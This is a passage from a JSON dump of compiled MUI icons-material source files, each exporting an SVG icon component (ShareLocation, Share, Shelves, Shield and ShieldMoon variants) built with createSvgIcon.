    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.02 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.42-1.43c-1.11.86-2.44 1.44-3.9 1.62M4.03 12c0-4.05 3.03-7.41 6.95-7.93V2.05C5.95 2.58 2.03 6.84 2.03 12s3.92 9.42 8.95 9.95v-2.02c-3.92-.52-6.95-3.88-6.95-7.93m15.92-1h2.02c-.2-2.01-1-3.84-2.21-5.32l-1.43 1.43c.86 1.1 1.44 2.43 1.62 3.89m-1.61-6.74c-1.48-1.21-3.32-2.01-5.32-2.21v2.02c1.46.18 2.79.76 3.9 1.62zm-.01 12.64 1.43 1.42c1.21-1.48 2.01-3.31 2.21-5.32h-2.02c-.18 1.46-.76 2.79-1.62 3.9\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11.1C16 8.61 14.1 7 12 7s-4 1.61-4 4.1c0 1.66 1.33 3.63 4 5.9 2.67-2.27 4-4.24 4-5.9m-4 .9c-.59 0-1.07-.48-1.07-1.07s.48-1.07 1.07-1.07 1.07.48 1.07 1.07S12.59 12 12 12\"\n}, \"1\")], 'ShareLocationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareLocationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.02 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.42-1.43c-1.11.86-2.44 1.44-3.9 1.62M4.03 12c0-4.05 3.03-7.41 6.95-7.93V2.05C5.95 2.58 2.03 6.84 2.03 12s3.92 9.42 8.95 9.95v-2.02c-3.92-.52-6.95-3.88-6.95-7.93m15.92-1h2.02c-.2-2.01-1-3.84-2.21-5.32l-1.43 1.43c.86 1.1 1.44 2.43 1.62 3.89m-1.61-6.74c-1.48-1.21-3.32-2.01-5.32-2.21v2.02c1.46.18 2.79.76 3.9 1.62zm-.01 12.64 1.43 1.42c1.21-1.48 2.01-3.31 2.21-5.32h-2.02c-.18 1.46-.76 2.79-1.62 3.9\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11.1C16 8.61 14.1 7 12 7s-4 1.61-4 4.1c0 1.66 1.33 3.63 4 5.9 2.67-2.27 4-4.24 4-5.9m-4 .9c-.59 0-1.07-.48-1.07-1.07s.48-1.07 1.07-1.07 1.07.48 1.07 1.07S12.59 12 12 12\"\n}, \"1\")], 'ShareLocationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareLocationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.02 20.77c0 .64.59 1.13 1.21.99 1.12-.26 2.18-.7 3.12-1.3.53-.34.61-1.1.16-1.55-.32-.32-.83-.4-1.21-.16-.77.49-1.62.85-2.53 1.05-.45.1-.75.51-.75.97M4.03 12c0-3.79 2.65-6.97 6.2-7.79.44-.1.75-.51.75-.96 0-.64-.6-1.13-1.22-.98C5.33 3.29 2.03 7.26 2.03 12s3.3 8.71 7.73 9.74c.62.15 1.22-.34 1.22-.98 0-.46-.31-.86-.75-.96-3.55-.83-6.2-4.01-6.2-7.8m16.76-1c.64 0 1.13-.59.99-1.21-.26-1.12-.7-2.17-1.3-3.12-.34-.54-1.1-.61-1.55-.16-.32.32-.4.83-.15 1.21.49.76.85 1.61 1.05 2.53.09.45.5.75.96.75m-3.44-7.45c-.95-.6-2-1.04-3.12-1.3-.62-.14-1.21.35-1.21.98 0 .45.3.87.74.96.91.2 1.77.57 2.53 1.05.39.24.89.17 1.21-.16.46-.44.39-1.19-.15-1.53m1.57 13.94c.45.45 1.21.38 1.55-.16.6-.94 1.04-2 1.3-3.12.14-.62-.35-1.21-.98-1.21-.45 0-.87.3-.96.74-.2.91-.57 1.77-1.05 2.53-.26.39-.18.9.14 1.22\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11.1C16 8.61 14.1 7 12 7s-4 1.61-4 4.1c0 1.51 1.1 3.28 3.31 5.3.39.36.98.36 1.38 0C14.9 14.37 16 12.61 16 11.1m-4 .9c-.59 0-1.07-.48-1.07-1.07s.48-1.07 1.07-1.07 1.07.48 1.07 1.07S12.59 12 12 12\"\n}, \"1\")], 'ShareLocationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareLocationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.02 20.77c0 .64.59 1.13 1.21.99 1.12-.26 2.18-.7 3.12-1.3.53-.34.61-1.1.16-1.55-.32-.32-.83-.4-1.21-.16-.77.49-1.62.85-2.53 1.05-.45.1-.75.51-.75.97M4.03 12c0-3.79 2.65-6.97 6.2-7.79.44-.1.75-.51.75-.96 0-.64-.6-1.13-1.22-.98C5.33 3.29 2.03 7.26 2.03 12s3.3 8.71 7.73 9.74c.62.15 1.22-.34 1.22-.98 0-.46-.31-.86-.75-.96-3.55-.83-6.2-4.01-6.2-7.8m16.76-1c.64 0 1.13-.59.99-1.21-.26-1.12-.7-2.17-1.3-3.12-.34-.54-1.1-.61-1.55-.16-.32.32-.4.83-.15 1.21.49.76.85 1.61 1.05 2.53.09.45.5.75.96.75m-3.44-7.45c-.95-.6-2-1.04-3.12-1.3-.62-.14-1.21.35-1.21.98 0 .45.3.87.74.96.91.2 1.77.57 2.53 1.05.39.24.89.17 1.21-.16.46-.44.39-1.19-.15-1.53m1.57 13.94c.45.45 1.21.38 1.55-.16.6-.94 1.04-2 1.3-3.12.14-.62-.35-1.21-.98-1.21-.45 0-.87.3-.96.74-.2.91-.57 1.77-1.05 2.53-.26.39-.18.9.14 1.22\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11.1C16 8.61 14.1 7 12 7s-4 1.61-4 4.1c0 1.51 1.1 3.28 3.31 5.3.39.36.98.36 1.38 0C14.9 14.37 16 12.61 16 11.1m-4 .9c-.59 0-1.07-.48-1.07-1.07s.48-1.07 1.07-1.07 1.07.48 1.07 1.07S12.59 12 12 12\"\n}, \"1\")], 'ShareLocationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareLocationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.02 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.42-1.43c-1.11.86-2.44 1.44-3.9 1.62M4.03 12c0-4.05 3.03-7.41 6.95-7.93V2.05C5.95 2.58 2.03 6.84 2.03 12s3.92 9.42 8.95 9.95v-2.02c-3.92-.52-6.95-3.88-6.95-7.93m15.92-1h2.02c-.2-2.01-1-3.84-2.21-5.32l-1.43 1.43c.86 1.1 1.44 2.43 1.62 3.89m-1.61-6.74c-1.48-1.21-3.32-2.01-5.32-2.21v2.02c1.46.18 2.79.76 3.9 1.62zm-.01 12.64 1.43 1.42c1.21-1.48 2.01-3.31 2.21-5.32h-2.02c-.18 1.46-.76 2.79-1.62 3.9\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11.1C16 8.61 14.1 7 12 7s-4 1.61-4 4.1c0 1.66 1.33 3.63 4 5.9 2.67-2.27 4-4.24 4-5.9m-4 .9c-.59 0-1.07-.48-1.07-1.07s.48-1.07 1.07-1.07 1.07.48 1.07 1.07S12.59 12 12 12\"\n}, \"1\")], 'ShareLocationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareLocationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.02 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.42-1.43c-1.11.86-2.44 1.44-3.9 1.62M4.03 12c0-4.05 3.03-7.41 6.95-7.93V2.05C5.95 2.58 2.03 6.84 2.03 12s3.92 9.42 8.95 9.95v-2.02c-3.92-.52-6.95-3.88-6.95-7.93m15.92-1h2.02c-.2-2.01-1-3.84-2.21-5.32l-1.43 1.43c.86 1.1 1.44 2.43 1.62 3.89m-1.61-6.74c-1.48-1.21-3.32-2.01-5.32-2.21v2.02c1.46.18 2.79.76 3.9 1.62zm-.01 12.64 1.43 1.42c1.21-1.48 2.01-3.31 2.21-5.32h-2.02c-.18 1.46-.76 2.79-1.62 3.9\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11.1C16 8.61 14.1 7 12 7s-4 1.61-4 4.1c0 1.66 1.33 3.63 4 5.9 2.67-2.27 4-4.24 4-5.9m-4 .9c-.59 0-1.07-.48-1.07-1.07s.48-1.07 1.07-1.07 1.07.48 1.07 1.07S12.59 12 12 12\"\n}, \"1\")], 'ShareLocationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareLocationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.02 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.42-1.43c-1.11.86-2.44 1.44-3.9 1.62M4.03 12c0-4.05 3.03-7.41 6.95-7.93V2.05C5.95 2.58 2.03 6.84 2.03 12s3.92 9.42 8.95 9.95v-2.02c-3.92-.52-6.95-3.88-6.95-7.93m15.92-1h2.02c-.2-2.01-1-3.84-2.21-5.32l-1.43 1.43c.86 1.1 1.44 2.43 1.62 3.89m-1.61-6.74c-1.48-1.21-3.32-2.01-5.32-2.21v2.02c1.46.18 2.79.76 3.9 1.62zm-.01 12.64 1.43 1.42c1.21-1.48 2.01-3.31 2.21-5.32h-2.02c-.18 1.46-.76 2.79-1.62 3.9\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11.1C16 8.61 14.1 7 12 7s-4 1.61-4 4.1c0 1.66 1.33 3.63 4 5.9 2.67-2.27 4-4.24 4-5.9m-4 .9c-.59 0-1.07-.48-1.07-1.07s.48-1.07 1.07-1.07 1.07.48 1.07 1.07S12.59 12 12 12\"\n}, \"1\")], 'ShareLocationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareLocationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.02 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.42-1.43c-1.11.86-2.44 1.44-3.9 1.62M4.03 12c0-4.05 3.03-7.41 6.95-7.93V2.05C5.95 2.58 2.03 6.84 2.03 12s3.92 9.42 8.95 9.95v-2.02c-3.92-.52-6.95-3.88-6.95-7.93m15.92-1h2.02c-.2-2.01-1-3.84-2.21-5.32l-1.43 1.43c.86 1.1 1.44 2.43 1.62 3.89m-1.61-6.74c-1.48-1.21-3.32-2.01-5.32-2.21v2.02c1.46.18 2.79.76 3.9 1.62zm-.01 12.64 1.43 1.42c1.21-1.48 2.01-3.31 2.21-5.32h-2.02c-.18 1.46-.76 2.79-1.62 3.9\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11.1C16 8.61 14.1 7 12 7s-4 1.61-4 4.1c0 1.66 1.33 3.63 4 5.9 2.67-2.27 4-4.24 4-5.9m-4 .9c-.59 0-1.07-.48-1.07-1.07s.48-1.07 1.07-1.07 1.07.48 1.07 1.07S12.59 12 12 12\"\n}, \"1\")], 'ShareLocationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81 1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.16c-.05.21-.08.43-.08.65 0 1.61 1.31 2.92 2.92 2.92s2.92-1.31 2.92-2.92-1.31-2.92-2.92-2.92M18 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M6 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m12 7.02c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'ShareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81 1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.16c-.05.21-.08.43-.08.65 0 1.61 1.31 2.92 2.92 2.92s2.92-1.31 2.92-2.92-1.31-2.92-2.92-2.92M18 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M6 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m12 7.02c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'ShareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81 1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.16c-.05.21-.08.43-.08.65 0 1.61 1.31 2.92 2.92 2.92s2.92-1.31 2.92-2.92-1.31-2.92-2.92-2.92\"\n}), 'ShareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81 1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.16c-.05.21-.08.43-.08.65 0 1.61 1.31 2.92 2.92 2.92s2.92-1.31 2.92-2.92-1.31-2.92-2.92-2.92\"\n}), 'ShareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81 1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.16c-.05.21-.08.43-.08.65 0 1.61 1.31 2.92 2.92 2.92s2.92-1.31 2.92-2.92-1.31-2.92-2.92-2.92\"\n}), 'ShareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81 1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.16c-.05.21-.08.43-.08.65 0 1.61 1.31 2.92 2.92 2.92s2.92-1.31 2.92-2.92-1.31-2.92-2.92-2.92\"\n}), 'ShareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"5\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6\",\n  cy: \"12\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"19.02\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81 1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.16c-.05.21-.08.43-.08.65 0 1.61 1.31 2.92 2.92 2.92s2.92-1.31 2.92-2.92-1.31-2.92-2.92-2.92M18 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M6 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m12 7.02c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"3\")], 'ShareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"5\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6\",\n  cy: \"12\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"19.02\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81 1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.16c-.05.21-.08.43-.08.65 0 1.61 1.31 2.92 2.92 2.92s2.92-1.31 2.92-2.92-1.31-2.92-2.92-2.92M18 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M6 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m12 7.02c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"3\")], 'ShareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shelves.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 1v2H5V1H3v22h2v-2h14v2h2V1zm0 4v6h-6V7H7v4H5V5zm-2 14v-4h-6v4H5v-6h14v6z\"\n}), 'Shelves');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shelves.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 1v2H5V1H3v22h2v-2h14v2h2V1zm0 4v6h-6V7H7v4H5V5zm-2 14v-4h-6v4H5v-6h14v6z\"\n}), 'Shelves');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shield.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5z\"\n}), 'Shield');"
  },
  {
    "path": "packages/mui-icons-material/lib/Shield.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5z\"\n}), 'Shield');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldMoon.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm3.97 12.41c-1.84 2.17-5.21 2.1-6.96-.07-2.19-2.72-.65-6.72 2.69-7.33.34-.06.63.27.51.6-.46 1.23-.39 2.64.32 3.86s1.89 1.99 3.18 2.2c.34.05.49.47.26.74\"\n}), 'ShieldMoon');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldMoon.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm3.97 12.41c-1.84 2.17-5.21 2.1-6.96-.07-2.19-2.72-.65-6.72 2.69-7.33.34-.06.63.27.51.6-.46 1.23-.39 2.64.32 3.86s1.89 1.99 3.18 2.2c.34.05.49.47.26.74\"\n}), 'ShieldMoon');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldMoonOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.01 14.33c1.75 2.17 5.12 2.24 6.96.07.23-.27.08-.68-.26-.74-1.29-.21-2.48-.98-3.18-2.2-.71-1.22-.78-2.63-.32-3.86.12-.33-.16-.66-.51-.6-3.34.62-4.89 4.61-2.69 7.33\"\n}, \"1\")], 'ShieldMoonOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShieldMoonOutlined.mjs",
